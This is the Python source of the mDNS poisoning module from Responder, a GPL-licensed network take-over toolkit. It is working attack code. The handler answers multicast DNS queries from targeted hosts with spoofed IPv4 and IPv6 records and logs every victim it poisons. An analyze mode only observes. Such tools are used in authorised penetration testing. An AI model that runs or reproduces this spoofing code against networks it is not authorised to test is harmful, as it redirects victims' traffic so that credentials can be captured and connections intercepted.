#!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct import sys if (sys.version_info > (3, 0)): from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler from packets import MDNS_Ans, MDNS6_Ans from utils import * #Should we answer to those AAAA? Have_IPv6 = settings.Config.IPv6 def Parse_MDNS_Name(data): try: if (sys.version_info > (3, 0)): data = data[12:] NameLen = data[0] Name = data[1:1+NameLen] NameLen_ = data[1+NameLen] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] FinalName = Name+b'.'+Name_ return FinalName.decode("latin-1").replace("\x05","") else: data = NetworkRecvBufferPython2or3(data[12:]) NameLen = struct.unpack('>B',data[0])[0] Name = data[1:1+NameLen] NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] return Name+'.'+Name_.replace("\x05","") except IndexError: return None def Poisoned_MDNS_Name(data): data = NetworkRecvBufferPython2or3(data[12:]) return data[:len(data)-5] class MDNS(BaseRequestHandler): def handle(self): try: data, soc = self.request Request_Name = Parse_MDNS_Name(data) MDNSType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True): return None if settings.Config.AnalyzeMode: # Analyze Mode # Don't print if in Quiet Mode if not settings.Config.Quite_Mode: print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '1', }) elif MDNSType == True: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) #Use default: if settings.Config.TTL == None: Buffer = MDNS_Ans(AnswerName = Poisoned_Name) else: Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) if not settings.Config.Quiet_Mode: print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '0', }) elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) #Use default: if settings.Config.TTL == None: Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) else: Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) if not settings.Config.Quiet_Mode: print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS6', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '0', }) except: raise